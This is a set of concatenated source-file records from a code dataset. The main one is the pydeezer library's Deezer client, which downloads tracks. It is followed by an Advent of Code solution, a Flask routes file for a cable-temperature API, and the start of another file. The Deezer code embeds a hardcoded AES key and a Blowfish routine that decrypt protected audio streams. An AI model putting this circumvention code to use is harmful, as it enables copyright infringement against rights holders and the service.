__init__(self, arl=None):\n \"\"\"Instantiates a Deezer object\n\n Keyword Arguments:\n arl {str} -- Login using the given arl (default: {None})\n \"\"\"\n\n self.session = requests.Session()\n self.session.headers = networking_settings.HTTP_HEADERS\n\n self.user = None\n\n if arl:\n self.arl = arl\n self.login_via_arl(arl)\n\n def login_via_arl(self, arl):\n \"\"\"Logs in to Deezer using the given\n\n Arguments:\n arl {[type]} -- [description]\n\n Returns:\n dict -- User data given by the Deezer API\n \"\"\"\n\n self.set_cookie(\"arl\", arl)\n self.get_user_data()\n\n return self.user\n\n def get_user_data(self):\n \"\"\"Gets the data of the user, this will only work arl is the cookie. Make sure you have run login_via_arl() before using this.\n\n Raises:\n LoginError: Will raise if the arl given is not identified by Deezer\n \"\"\"\n\n data = self._api_call(api_methods.GET_USER_DATA)[\"results\"]\n\n self.token = data[\"checkForm\"]\n\n if not data[\"USER\"][\"USER_ID\"]:\n raise LoginError(\"Arl is invalid.\")\n\n raw_user = data[\"USER\"]\n\n if raw_user[\"USER_PICTURE\"]:\n self.user = {\n \"id\": raw_user[\"USER_ID\"],\n \"name\": raw_user[\"BLOG_NAME\"],\n \"arl\": self.get_cookies()[\"arl\"],\n \"image\": \"https://e-cdns-images.dzcdn.net/images/user/{0}/250x250-000000-80-0-0.jpg\".format(raw_user[\"USER_PICTURE\"])\n }\n else:\n self.user = {\n \"id\": raw_user[\"USER_ID\"],\n \"name\": raw_user[\"BLOG_NAME\"],\n \"arl\": self.get_cookies()[\"arl\"],\n \"image\": \"https://e-cdns-images.dzcdn.net/images/user/250x250-000000-80-0-0.jpg\"\n }\n\n def set_cookie(self, key, value, domain=api_urls.DEEZER_URL, path=\"/\"):\n \"\"\"Sets the cookie in the given domain\n\n Arguments:\n key {str} -- The key of the cookie\n value {str} -- The value of the cookie\n\n Keyword Arguments:\n domain {str} -- The domain of the cookie (default: {api_urls.DEEZER_URL})\n path {str} -- The path of the cookie (default: {\"/\"})\n \"\"\"\n\n cookie = requests.cookies.create_cookie(\n name=key, value=value, domain=domain)\n self.session.cookies.set_cookie(cookie)\n\n def get_cookies(self):\n \"\"\"Get cookies in the domain of {api_urls.DEEZER_URL}\n\n Returns:\n dict -- Cookies\n \"\"\"\n\n if api_urls.DEEZER_URL in self.session.cookies.list_domains():\n return self.session.cookies.get_dict(api_urls.DEEZER_URL)\n return None\n\n def get_sid(self):\n \"\"\"Gets the SID of the current {session}\n\n Returns:\n str -- SID\n \"\"\"\n\n res = self.session.get(\n api_urls.API_URL, headers=networking_settings.HTTP_HEADERS, cookies=self.get_cookies())\n return res.cookies.get(\"sid\", domain=\".deezer.com\")\n\n def get_token(self):\n \"\"\"Gets the token of the current {session}\n\n Returns:\n str -- Token\n \"\"\"\n\n if not self.token:\n self.get_user_data()\n return self.token\n\n def get_track(self, track_id):\n \"\"\"Gets the track info using the Deezer API\n\n Arguments:\n track_id {str} -- Track Id\n\n Returns:\n dict -- Dictionary that contains the {info}, {download} partial function, {tags}, and {get_tag} partial function.\n \"\"\"\n\n method = api_methods.SONG_GET_DATA\n params = {\n \"SNG_ID\": track_id\n }\n\n if not int(track_id) < 0:\n method = api_methods.PAGE_TRACK\n\n data = self._api_call(method, params=params)\n data = data[\"results\"]\n\n return {\n \"info\": data,\n \"download\": partial(self.download_track, data),\n \"tags\": self.get_track_tags(data),\n \"get_tag\": partial(self.get_track_tags, data)\n }\n\n def get_track_valid_quality(self, track):\n \"\"\"Gets the valid download qualities of the given track\n\n Arguments:\n track {dict} -- Track dictionary, similar to the {info} value that is returned {using get_track()}\n\n Returns:\n list -- List of keys of the valid qualities from the {track_formats.TRACK_FORMAT_MAP}\n \"\"\"\n\n if \"DATA\" in track:\n track = track[\"DATA\"]\n\n qualities = []\n\n # Fixes issue #4\n for key in [track_formats.MP3_128, track_formats.MP3_320, track_formats.FLAC]:\n download_url = self.get_track_download_url(\n track, quality=key, fallback=False)\n\n res = self.session.get(\n download_url, cookies=self.get_cookies(), stream=True)\n\n if res.status_code == 200 and int(res.headers[\"Content-length\"]) > 0:\n qualities.append(key)\n\n # Gonna comment these out in case Deezer decides to fix it themselves.\n # for key in track_formats.TRACK_FORMAT_MAP:\n # k = f\"FILESIZE_{key}\"\n # if k in track:\n # if str(track[k]) != \"0\":\n # qualities.append(key)\n\n return qualities\n\n def get_track_tags(self, track, separator=\", \"):\n \"\"\"Gets the possible ID3 tags of the track.\n\n Arguments:\n track {dict} -- Track dictionary, similar to the {info} value that is returned {using get_track()}\n\n Keyword Arguments:\n separator {str} -- Separator to separate multiple artists (default: {\", \"})\n\n Returns:\n dict -- Tags\n \"\"\"\n\n if \"DATA\" in track:\n track = track[\"DATA\"]\n\n album_data = self.get_album(track[\"ALB_ID\"])\n\n if \"main_artist\" in track[\"SNG_CONTRIBUTORS\"]:\n main_artists = track[\"SNG_CONTRIBUTORS\"][\"main_artist\"]\n artists = main_artists[0]\n for i in range(1, len(main_artists)):\n artists += separator + main_artists[i]\n else:\n artists = track[\"ART_NAME\"]\n\n title = track[\"SNG_TITLE\"]\n\n if \"VERSION\" in track:\n if track[\"VERSION\"] != \"\":\n title += \" \" + track[\"VERSION\"]\n\n def should_include_featuring():\n # Checks if the track title already have the featuring artists in its title\n feat_keywords = [\"feat.\", \"featuring\", \"ft.\"]\n\n for keyword in feat_keywords:\n if keyword in title.lower():\n return False\n return True\n\n if should_include_featuring() and \"featuring\" in track[\"SNG_CONTRIBUTORS\"]:\n featuring_artists_data = track[\"SNG_CONTRIBUTORS\"][\"featuring\"]\n featuring_artists = featuring_artists_data[0]\n for i in range(1, len(featuring_artists_data)):\n featuring_artists += separator + featuring_artists_data[i]\n\n title += f\" (feat. {featuring_artists})\"\n\n total_tracks = album_data[\"nb_tracks\"]\n track_number = str(track[\"TRACK_NUMBER\"]) + \"/\" + str(total_tracks)\n\n cover = self.get_album_poster(album_data, size=1000)\n\n # TODO: I'd like to put some genre here, let me figure it out later\n tags = {\n \"title\": title,\n \"artist\": artists,\n \"album\": track[\"ALB_TITLE\"],\n \"albumartist\": track[\"ART_NAME\"],\n \"label\": album_data[\"label\"],\n \"date\": track[\"PHYSICAL_RELEASE_DATE\"],\n \"discnumber\": track[\"DISK_NUMBER\"],\n \"tracknumber\": track_number,\n \"isrc\": track[\"ISRC\"],\n \"copyright\": track[\"COPYRIGHT\"],\n \"_albumart\": cover,\n }\n\n if \"genre_id\" in album_data:\n tags[\"genre\"] = album_data[\"genres\"][\"data\"][0][\"name\"]\n\n if \"author\" in track[\"SNG_CONTRIBUTORS\"]:\n _authors = track[\"SNG_CONTRIBUTORS\"][\"author\"]\n\n authors = _authors[0]\n for i in range(1, len(_authors)):\n authors += separator + _authors[i]\n\n tags[\"author\"] = authors\n\n return tags\n\n def get_track_download_url(self, track, quality=None, fallback=True, renew=False, **kwargs):\n \"\"\"Gets and decrypts the download url of the given track in the given quality\n\n Arguments:\n track {dict} -- Track dictionary, similar to the {info} value that is returned {using get_track()}\n\n Keyword Arguments:\n quality {str} -- Use values from {constants.track_formats}, will get the default quality if None or an invalid is given. (default: {None})\n fallback {bool} -- Set to True to if you want to use fallback qualities when the given quality is not available. (default: {False})\n renew {bool} -- Will renew the track object (default: {False})\n\n Raises:\n DownloadLinkDecryptionError: Will be raised if the track dictionary does not have an MD5\n ValueError: Will be raised if valid track argument was given\n\n Returns:\n str -- Download url\n \"\"\"\n\n # Decryption algo got from: https://git.fuwafuwa.moe/toad/ayeBot/src/branch/master/bot.py;\n # and https://notabug.org/deezpy-dev/Deezpy/src/master/deezpy.py\n # Huge thanks!\n\n if renew:\n track = self.get_track(track[\"SNG_ID\"])[\"info\"]\n\n if not quality:\n quality = track_formats.MP3_128\n fallback = True\n\n try:\n # Just in case they passed in the whole dictionary from get_track()\n if \"DATA\" in track:\n track = track[\"DATA\"]\n if not \"MD5_ORIGIN\" in track:\n raise DownloadLinkDecryptionError(\n \"MD5 is needed to decrypt the download link.\")\n\n md5_origin = track[\"MD5_ORIGIN\"]\n track_id = track[\"SNG_ID\"]\n media_version = track[\"MEDIA_VERSION\"]\n except ValueError:\n raise ValueError(\n \"You have passed an invalid argument. This method needs the \\\"DATA\\\" value in the dictionary returned by the get_track() method.\")\n\n def decrypt_url(quality_code):\n magic_char = \"¤\"\n step1 = magic_char.join((md5_origin,\n str(quality_code),\n track_id,\n media_version))\n m = hashlib.md5()\n m.update(bytes([ord(x) for x in step1]))\n\n step2 = m.hexdigest() + magic_char + step1 + magic_char\n step2 = step2.ljust(80, \" \")\n\n cipher = Cipher(algorithms.AES(bytes('jo6aey6haid2Teih', 'ascii')),\n modes.ECB(), default_backend())\n\n encryptor = cipher.encryptor()\n step3 = encryptor.update(bytes([ord(x) for x in step2])).hex()\n\n cdn = track[\"MD5_ORIGIN\"][0]\n\n return f'https://e-cdns-proxy-{cdn}.dzcdn.net/mobile/1/{step3}'\n\n url = decrypt_url(track_formats.TRACK_FORMAT_MAP[quality][\"code\"])\n res = self.session.get(url, cookies=self.get_cookies(), stream=True)\n\n if not fallback:\n res.close()\n return (url, quality)\n else:\n if res.status_code == 200 and int(res.headers[\"Content-length\"]) > 0:\n res.close()\n return (url, quality)\n else:\n if \"fallback_qualities\" in kwargs:\n fallback_qualities = kwargs[\"fallback_qualities\"]\n else:\n fallback_qualities = track_formats.FALLBACK_QUALITIES\n\n for key in fallback_qualities:\n url = decrypt_url(\n track_formats.TRACK_FORMAT_MAP[key][\"code\"])\n\n res = self.session.get(\n url, cookies=self.get_cookies(), stream=True)\n\n if res.status_code == 200 and int(res.headers[\"Content-length\"]) > 0:\n res.close()\n return (url, key)\n\n def download_track(self, track, download_dir, quality=None, fallback=True, filename=None, renew=False, with_metadata=True, with_lyrics=True, tag_separator=\", \", **kwargs):\n \"\"\"Downloads the given track\n\n Arguments:\n track {dict} -- Track dictionary, similar to the {info} value that is returned {using get_track()}\n download_dir {str} -- Directory (without {filename}) where the file is to be saved.\n\n Keyword Arguments:\n quality {str} -- Use values from {constants.track_formats}, will get the default quality if None or an invalid is given. (default: {None})\n filename {str} -- Filename with or without the extension (default: {None})\n renew {bool} -- Will renew the track object (default: {False})\n with_metadata {bool} -- If true, will write id3 tags into the file. (default: {True})\n with_lyrics {bool} -- If true, will find and save lyrics of the given track. (default: {True})\n tag_separator {str} -- Separator to separate multiple artists (default: {\", \"})\n \"\"\"\n\n if with_lyrics:\n if \"LYRICS\" in track:\n lyric_data = track[\"LYRICS\"]\n else:\n try:\n if \"DATA\" in track:\n lyric_data = self.get_track_lyrics(\n track[\"DATA\"][\"SNG_ID\"])[\"info\"]\n else:\n lyric_data = self.get_track_lyrics(\n track[\"SNG_ID\"])[\"info\"]\n except APIRequestError:\n with_lyrics = False\n\n if \"DATA\" in track:\n track = track[\"DATA\"]\n\n tags = self.get_track_tags(track, separator=tag_separator)\n\n url, quality_key = self.get_track_download_url(\n track, quality, fallback=fallback, renew=renew, **kwargs)\n blowfish_key = util.get_blowfish_key(track[\"SNG_ID\"])\n\n # quality = self._select_valid_quality(track, quality)\n\n quality = track_formats.TRACK_FORMAT_MAP[quality_key]\n\n title = tags[\"title\"]\n ext = quality[\"ext\"]\n\n if not filename:\n filename = title + ext\n\n if not str(filename).endswith(ext):\n filename += ext\n\n filename = util.clean_filename(filename)\n\n download_dir = path.normpath(download_dir)\n download_path = path.join(download_dir, filename)\n\n util.create_folders(download_dir)\n\n print(\"Starting download of:\", title)\n\n res = self.session.get(url, cookies=self.get_cookies(), stream=True)\n chunk_size = 2048\n total_filesize = int(res.headers[\"Content-Length\"])\n current_filesize = 0\n i = 0\n\n pbar = tqdm(res.iter_content(chunk_size), total=total_filesize,\n unit=\"B\", unit_scale=True, unit_divisor=1024, leave=False, desc=title)\n with open(download_path, \"wb\") as f:\n f.seek(current_filesize)\n\n for chunk in pbar:\n chunk_len = len(chunk)\n if i % 3 > 0:\n f.write(chunk)\n elif len(chunk) < chunk_size:\n f.write(chunk)\n pbar.update(chunk_len)\n break\n else:\n cipher = Cipher(algorithms.Blowfish(blowfish_key),\n modes.CBC(\n bytes([i for i in range(8)])),\n default_backend())\n\n decryptor = cipher.decryptor()\n dec_data = decryptor.update(\n chunk) + decryptor.finalize()\n f.write(dec_data)\n chunk_len = len(dec_data)\n i += 1\n current_filesize += chunk_size\n pbar.update(chunk_len)\n\n pbar.close()\n if with_metadata:\n if ext.lower() == \".flac\":\n self._write_flac_tags(download_path, track, tags=tags)\n else:\n self._write_mp3_tags(download_path, track, tags=tags)\n\n if with_lyrics:\n lyrics_path = path.join(download_dir, title)\n self.save_lyrics(lyric_data, lyrics_path)\n\n print(\"Track downloaded to:\", download_path)\n\n def get_tracks(self, track_ids):\n \"\"\"Gets the list of the tracks that corresponds with the given {track_ids}\n\n Arguments:\n track_ids {list} -- List of track id\n\n Returns:\n dict -- List of tracks\n \"\"\"\n\n data = self._api_call(api_methods.SONG_GET_LIST_DATA, params={\n \"SNG_IDS\": track_ids\n })\n\n data = data[\"results\"]\n valid_ids = [str(song[\"SNG_ID\"]) for song in data[\"data\"]]\n\n data[\"errors\"] = []\n for id in track_ids:\n if not str(id) in valid_ids:\n data[\"errors\"].append(id)\n\n return data\n\n def get_track_lyrics(self, track_id):\n \"\"\"Gets the lyrics data of the given {track_id}\n\n Arguments:\n track_id {str} -- Track Id\n\n Returns:\n dict -- Dictionary that containts the {info}, and {save} partial function.\n \"\"\"\n\n data = self._api_call(api_methods.SONG_LYRICS, params={\n \"SNG_ID\": track_id\n })\n data = data[\"results\"]\n\n return {\n \"info\": data,\n \"save\": partial(self.save_lyrics, data)\n }\n\n def save_lyrics(self, lyric_data, save_path):\n \"\"\"Saves the {lyric_data} into a .lrc file.\n\n Arguments:\n lyric_data {dict} -- The 'info' value returned from {get_track_lyrics()}\n save_path {str} -- Full path on where the file is to be saved\n\n Returns:\n bool -- Operation success\n \"\"\"\n\n filename = path.basename(save_path)\n filename = util.clean_filename(filename)\n save_path = path.join(path.dirname(save_path), filename)\n\n if not str(save_path).endswith(\".lrc\"):\n save_path += \".lrc\"\n\n util.create_folders(path.dirname(save_path))\n\n with open(save_path, \"w\", encoding=\"utf-8\") as f:\n if not \"LYRICS_SYNC_JSON\" in lyric_data:\n return False\n\n sync_data = lyric_data[\"LYRICS_SYNC_JSON\"]\n\n for line in sync_data:\n if str(line[\"line\"]):\n f.write(\"{0}{1}\".format(\n line[\"lrc_timestamp\"], line[\"line\"]))\n f.write(\"\\n\")\n\n return True\n\n def get_album(self, album_id):\n \"\"\"Gets the album data of the given {album_id}\n\n Arguments:\n album_id {str} -- Album Id\n\n Returns:\n dict -- Album data\n \"\"\"\n\n # data = self._api_call(api_methods.ALBUM_GET_DATA, params={\n # \"ALB_ID\": album_id,\n # \"LANG\": \"en\"\n # })\n\n # return data[\"results\"]\n\n data = self._legacy_api_call(\"/album/{0}\".format(album_id))\n\n # TODO: maybe better logic?\n data[\"cover_id\"] = str(data[\"cover_small\"]).split(\n \"cover/\")[1].split(\"/\")[0]\n\n return data\n\n def get_album_poster(self, album, size=500, ext=\"jpg\"):\n \"\"\"Gets the album poster as a binary data\n\n Arguments:\n album {dict} -- Album data\n\n Keyword Arguments:\n size {int} -- Size of the image, {size}x{size} (default: {500})\n ext {str} -- Extension of the image, can be ('.jpg' or '.png') (default: {\"jpg\"})\n\n Returns:\n bytes -- Binary data of the image\n \"\"\"\n\n # return self._get_poster(album[\"ALB_PICTURE\"], size=size, ext=ext)\n return self._get_poster(album[\"cover_id\"], size=size, ext=ext)\n\n def get_album_tracks(self, album_id):\n \"\"\"Gets the tracks of the given {album_id}\n\n Arguments:\n album_id {str} -- Album Id\n\n Returns:\n list -- List of tracks\n \"\"\"\n\n data = self._api_call(api_methods.ALBUM_TRACKS, params={\n \"ALB_ID\": album_id,\n \"NB\": -1\n })\n\n for i, track in enumerate(data[\"results\"][\"data\"]):\n track[\"_POSITION\"] = i + 1\n\n return data[\"results\"][\"data\"]\n\n def get_artist(self, artist_id):\n \"\"\"Gets the artist data from the given {artist_id}\n\n Arguments:\n artist_id {str} -- Artist Id\n\n Returns:\n dict -- Artist data\n \"\"\"\n\n data = self._api_call(api_methods.PAGE_ARTIST, params={\n \"ART_ID\": artist_id,\n \"LANG\": \"en\"\n })\n\n return data[\"results\"]\n\n def get_artist_poster(self, artist, size=500, ext=\"jpg\"):\n \"\"\"Gets the artist poster as a binary data\n\n Arguments:\n artist {dict} -- artist data\n\n Keyword Arguments:\n size {int} -- Size of the image, {size}x{size} (default: {500})\n ext {str} -- Extension of the image, can be ('.jpg' or '.png') (default: {\"jpg\"})\n\n Returns:\n bytes -- Binary data of the image\n \"\"\"\n\n if not \"ART_PICTURE\" in artist and \"DATA\" in artist:\n artist = artist[\"DATA\"]\n\n return self._get_poster(artist[\"ART_PICTURE\"], size=size, ext=ext)\n\n def get_artist_discography(self, artist_id):\n \"\"\"Gets the artist's discography (tracks)\n\n Arguments:\n artist_id {str} -- Artist Id\n\n Returns:\n dict -- Artist discography data\n \"\"\"\n\n data = self._api_call(api_methods.ARTIST_DISCOGRAPHY, params={\n \"ART_ID\": artist_id,\n \"NB\": 500,\n \"NB_SONGS\": -1,\n \"START\": 0\n })\n\n return data[\"results\"][\"data\"]\n\n def get_artist_top_tracks(self, artist_id):\n \"\"\"Gets the top tracks of the given artist\n\n Arguments:\n artist_id {str} -- Artist Id\n\n Returns:\n list -- List of track\n \"\"\"\n\n data = self._api_call(api_methods.ARTIST_TOP_TRACKS, params={\n \"ART_ID\": artist_id,\n \"NB\": 100\n })\n\n for i, track in enumerate(data[\"results\"][\"data\"]):\n track[\"_POSITION\"] = i + 1\n\n return data[\"results\"][\"data\"]\n\n def get_playlist(self, playlist_id):\n \"\"\"Gets the playlist data from the given playlist_id\n\n Arguments:\n playlist_id {str} -- Playlist Id\n\n Returns:\n dict -- Playlist data\n \"\"\"\n\n data = self._api_call(api_methods.PAGE_PLAYLIST, params={\n \"playlist_id\": playlist_id,\n \"LANG\": \"en\"\n })\n\n return data[\"results\"]\n\n def get_playlist_tracks(self, playlist_id):\n \"\"\"Gets the tracks inside the playlist\n\n Arguments:\n playlist_id {str} -- Playlist Id\n\n Returns:\n list -- List of tracks\n \"\"\"\n\n data = self._api_call(api_methods.PLAYLIST_TRACKS, params={\n \"PLAYLIST_ID\": playlist_id,\n \"NB\": -1\n })\n\n for i, track in enumerate(data[\"results\"][\"data\"]):\n track[\"_POSITION\"] = i + 1\n\n return data[\"results\"][\"data\"]\n\n def get_suggested_queries(self, query):\n \"\"\"Gets suggestion based on the given {query}\n\n Arguments:\n query {str} -- Query keyword\n\n Returns:\n list -- List of suggestions\n \"\"\"\n\n data = self._api_call(api_methods.GET_SUGGESTED_QUERIES, params={\n \"QUERY\": query\n })\n\n results = data[\"results\"][\"SUGGESTION\"]\n for result in results:\n if \"HIGHLIGHT\" in result:\n del result[\"HIGHLIGHT\"]\n\n return results\n\n def search_tracks(self, query, limit=30, index=0):\n \"\"\"Searches tracks on a given query\n\n Arguments:\n query {str} -- Query keyword\n\n Keyword Arguments:\n limit {int} -- Number of results (default: {30})\n index {int} -- Offset (default: {0})\n\n Returns:\n list -- List of tracks\n \"\"\"\n\n return self._legacy_search(api_methods.SEARCH_TRACK, query, limit=limit, index=index)\n\n def search_albums(self, query, limit=30, index=0):\n \"\"\"Searches albums on a given query\n\n Arguments:\n query {str} -- Query keyword\n\n Keyword Arguments:\n limit {int} -- Number of results (default: {30})\n index {int} -- Offset (default: {0})\n\n Returns:\n list -- List of albums\n \"\"\"\n\n return self._legacy_search(api_methods.SEARCH_ALBUM, query, limit=limit, index=index)\n\n def search_artists(self, query, limit=30, index=0):\n \"\"\"Searches artists on a given query\n\n Arguments:\n query {str} -- Query keyword\n\n Keyword Arguments:\n limit {int} -- Number of tracks (default: {30})\n index {int} -- Offset (default: {0})\n\n Returns:\n list -- List of artists\n \"\"\"\n\n return self._legacy_search(api_methods.SEARCH_ARTIST, query, limit=limit, index=index)\n\n def search_playlists(self, query, limit=30, index=0):\n \"\"\"Searches playlists on a given query\n\n Arguments:\n query {str} -- Query keyword\n\n Keyword Arguments:\n limit {int} -- Number of tracks (default: {30})\n index {int} -- Offset (default: {0})\n\n Returns:\n list -- List of playlists\n \"\"\"\n\n return self._legacy_search(api_methods.SEARCH_PLAYLIST, query, limit=limit, index=index)\n\n def _legacy_search(self, method, query, limit=30, index=0):\n query = util.clean_query(query)\n\n data = self._legacy_api_call(method, {\n \"q\": query,\n \"limit\": limit,\n \"index\": index\n })\n\n return data[\"data\"]\n\n def _get_poster(self, poster_id, size=500, ext=\"jpg\"):\n ext = ext.lower()\n if ext != \"jpg\" and ext != \"png\":\n raise ValueError(\"Image extension should only be jpg or png!\")\n\n url = f'https://e-cdns-images.dzcdn.net/images/cover/{poster_id}/{size}x{size}.{ext}'\n return {\n \"image\": self.session.get(url, params=networking_settings.HTTP_HEADERS, cookies=self.get_cookies()).content,\n \"size\": (size, size),\n \"ext\": ext,\n \"mime_type\": \"image/jpeg\" if ext == \"jpg\" else \"image/png\"\n }\n\n def _write_mp3_tags(self, path, track, tags=None):\n if \"DATA\" in track:\n track = track[\"DATA\"]\n\n if not tags:\n tags = self.get_track_tags(track)\n\n audio = MP3(path, ID3=EasyID3)\n audio.delete()\n EasyID3.RegisterTextKey(\"label\", \"TPUB\")\n\n cover = tags[\"_albumart\"]\n del tags[\"_albumart\"]\n\n for key, val in tags.items():\n if val:\n audio[key] = str(val)\n audio.save()\n\n if cover:\n cover_handle = ID3(path)\n cover_handle[\"APIC\"] = APIC(\n type=3,\n mime=cover[\"mime_type\"],\n data=cover[\"image\"]\n )\n cover_handle.save(path)\n\n return True\n\n def _write_flac_tags(self, path, track, tags=None):\n if \"DATA\" in track:\n track = track[\"DATA\"]\n\n if not tags:\n tags = self.get_track_tags(track)\n\n audio = File(path)\n audio.delete()\n\n cover = tags[\"_albumart\"]\n del tags[\"_albumart\"]\n\n if cover:\n pic = mutagen.flac.Picture()\n pic.data = cover[\"image\"]\n\n audio.clear_pictures()\n audio.add_picture(pic)\n\n for key, val in tags.items():\n if val:\n audio[key] = str(val)\n audio.save()\n\n return True\n\n def _select_valid_quality(self, track, quality):\n # If the track does not support the desired quality or if the given quality is not in the TRACK_FORMAT_MAP,\n # Use the default quality\n valid_qualities = self.get_track_valid_quality(track)\n\n if not quality or not quality in valid_qualities:\n default_size = int(track[\"FILESIZE\"])\n\n for key in track_formats.TRACK_FORMAT_MAP.keys():\n if f\"FILESIZE_{key}\" in track and int(track[f\"FILESIZE_{key}\"]) == default_size:\n quality = track_formats.TRACK_FORMAT_MAP[key]\n break\n else:\n quality = track_formats.TRACK_FORMAT_MAP[quality]\n\n return quality\n\n def _api_call(self, method, params={}):\n token = \"null\"\n if method != api_methods.GET_USER_DATA:\n token = self.token\n\n res = self.session.post(api_urls.API_URL, json=params, params={\n \"api_version\": \"1.0\",\n \"api_token\": token,\n \"input\": \"3\",\n \"method\": method\n }, cookies=self.get_cookies())\n\n data = res.json()\n\n if \"error\" in data and data[\"error\"]:\n error_type = list(data[\"error\"].keys())[0]\n error_message = data[\"error\"][error_type]\n raise APIRequestError(\n \"{0} : {1}\".format(error_type, error_message))\n\n return data\n\n def _legacy_api_call(self, method, params={}):\n res = self.session.get(\"{0}/{1}\".format(api_urls.LEGACY_API_URL, method),\n params=params, cookies=self.get_cookies())\n\n data = res.json()\n\n if \"error\" in data and data[\"error\"]:\n error_type = list(data[\"error\"].keys())[0]\n error_message = data[\"error\"][error_type]\n raise APIRequestError(\n \"{0} : {1}\".format(error_type, error_message))\n\n return data\n","repo_name":"Y0ngg4n/deezer-skill","sub_path":"venv/lib/python3.8/site-packages/pydeezer/Deezer.py","file_name":"Deezer.py","file_ext":"py","file_size_in_byte":30284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29564470025","text":"#More info: https://adventofcode.com/2020/day/7\nimport collections\n\ndef getAllBags(lines):\n rules = collections.defaultdict(list)\n for it in lines:\n left, right = it.split(' contain ')\n keys = cleaner(left)\n for colors in right.split(','):\n contained = cleaner(colors[2:])\n rules[contained].append(keys)\n return len(filterbyColor(rules, 'shiny gold'))\n\n\ndef cleaner(color):\n return color.replace(' bags', '').replace(' bag', '').replace('.', '').strip()\n\n\ndef filterbyColor(data, color):\n result = set(data[color])\n for column in data[color]:\n result = result.union(filterbyColor(data, column))\n return result\n\ndef getRules(lines):\n rules = collections.defaultdict(list)\n for line in lines:\n left, right = line.split(' contain ')\n holder = cleaner(left)\n for contents in right.split(','):\n contained = cleaner(contents)\n rules[holder].append(contained)\n return countBags(rules, 'shiny gold')\n\n\ndef countBags(data, color):\n if color == 'other':\n return 0\n count = 0\n for iterator in data[color]:\n aux = iterator.split()[0]\n if aux == 'no':\n num = 0\n else:\n num = int(aux)\n col = iterator.split(maxsplit=1)[1]\n count += num * (countBags(data, col) + 1)\n return count\n\n\n\nif __name__ == '__main__':\n with open(\"inputDay7.txt\") as _file:\n values = [str(line) for line in _file]\n print(getRules(values))\n","repo_name":"MAInformatico/Advent_Of_Code2020","sub_path":"day7part2.py","file_name":"day7part2.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1334870346","text":"# Fichier Routes\nfrom app import app, cableController\nfrom flask import request, redirect\nimport jsonpickle\nfrom app.calcul_temp import calcul_temp_minutes, calcul_scipy_temp\n\nimport numpy as np\nfrom werkzeug.debug import console\n\n\n# - - - [Test] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n# from app.models import Vent\n# from app.controllers import ControllerVent\n@app.route('/testapps', methods=['POST'])\ndef home():\n data = request.get_json()\n # listData = list(data)\n if data:\n for d in data:\n print(d[\"heure\"], flush=True)\n\n return jsonpickle.encode(data)\n\n\n# - - - [Data] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n# Récupération des données\n@app.get(\"/data\")\ndef get_data():\n minutes = request.args.get('time', type=int) or request.form.get('time', type=int) or 30\n # calcul sur les 30 prochaines minutes\n temp = cableController.getNextTemperature(minutes)\n return {\"temperature\": temp}\n\n# Envoyer de données\n@app.post(\"/data\")\ndef post_data():\n minutes = request.args.get('time', type=int) or request.form.get('time', type=int) or 30\n temp_cable = request.args.get('temp_cable', type=int) or request.form.get('temp_cable', type=int) or 0\n temp_ambiant = request.args.get('temp_ambiant', type=int) or request.form.get('temp_ambiant', type=int) or 16\n intensity = request.args.get('intensity', type=int) or request.form.get('intensity', type=int) or 200\n wind_speed = request.args.get('wind_speed', type=int) or request.form.get('wind_speed', type=int) or 4\n \n # calcul sur les 30 prochaines minutes\n temp = calcul_temp_minutes(minutes, temp_cable, temp_ambiant, intensity, wind_speed)\n\n return {\"temperature\": temp}\n\n\n\n# - - - [Exemple de gestion de méthodes] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n# Exemple de gestion de méthodes\n@app.route('/sample_methodes', methods=['GET', 'POST', 'PUT', 'DELETE'])\ndef sample_methodes():\n if request.method=='GET':\n return \"Cet méthode est un GET 😉👌\"\n elif request.method=='POST':\n return \" Cet méthode est un GET 😉👌\"\n elif request.method=='PUT':\n return \" Cet méthode est un PUT 😉👌\"\n elif request.method=='DELETE':\n return \" Cet méthode est un DELETE 😉👌\"\n else:\n return \"Je ne sais pas quoi faire avec ta requète 🤷‍♂️\"\n\n\n# - - - [Cable] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n# GET - Récupération du contenu de la table Cable\n@app.get(\"/cables\")\ndef getCables():\n result = cableController.getAllCables()\n return { \"list\": result }\n\n@app.post(\"/cables\")\ndef postCables():\n listCable = request.get_json()\n # listData = list(data)\n if listCable:\n for cable in listCable:\n cableController.create(cable[\"heure\"], cable[\"temperature_ambiant\"], cable[\"intensity\"], cable[\"wind_speed\"])\n return jsonpickle.encode(listCable)\n else:\n return \"Error in data sent\", 400\n\n\n# GET - Récupération du contenu cable de la table Cable\n@app.get(\"/cable\")\ndef getCable():\n id = request.args.get('id', type=int) or request.form.get('id', type=int)\n if id:\n result = cableController.getCable(id)\n return result\n else:\n return \"id not define\", 404\n\n\n# POST - Création d'un contenu cable et ajout dans la table Cable\n@app.post('/cable')\ndef createCable():\n temperature_cable = request.form.get('temperature_cable', type=float) or 0\n temperature_ambiant = request.form.get('temperature_ambiant', type=float) or 0\n intensity = request.form.get('intensity', type=float) or 0\n wind_speed = request.form.get('wind_speed', type=float) or 0\n result = cableController.create(temperature_cable, temperature_ambiant, intensity, wind_speed)\n return result\n\n\n# PUT - Mise à jour d'un contenu cable dans la table Cable\n@app.put('/cable')\ndef updateCable():\n id = request.args.get('id', type=int) or request.form.get('id', type=int)\n if id:\n temperature_cable = request.form.get('temperature_cable', type=float) or 0\n temperature_ambiant = request.form.get('temperature_ambiant', type=float) or 0\n intensity = request.form.get('intensity', type=float) or 0\n wind_speed = request.form.get('wind_speed', type=float) or 0\n result = cableController.update(id, temperature_cable, temperature_ambiant, intensity, wind_speed)\n return result\n else:\n return \"id not define\", 404\n\n\n# DELETE - Supprimer d'un contenu cable dans la table Cable\n@app.delete('/cable')\ndef deleteCable():\n id = request.args.get('id', type=int) or request.form.get('id', type=int)\n if id:\n result = cableController.delete(id)\n return result\n else:\n return \"id not define\", 404\n","repo_name":"ldumay/esiee_2022_ecologie_numerique_tp","sub_path":"backend/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36141711080","text":"from __future__ import division\nimport os.path as osp\nimport sys\nimport 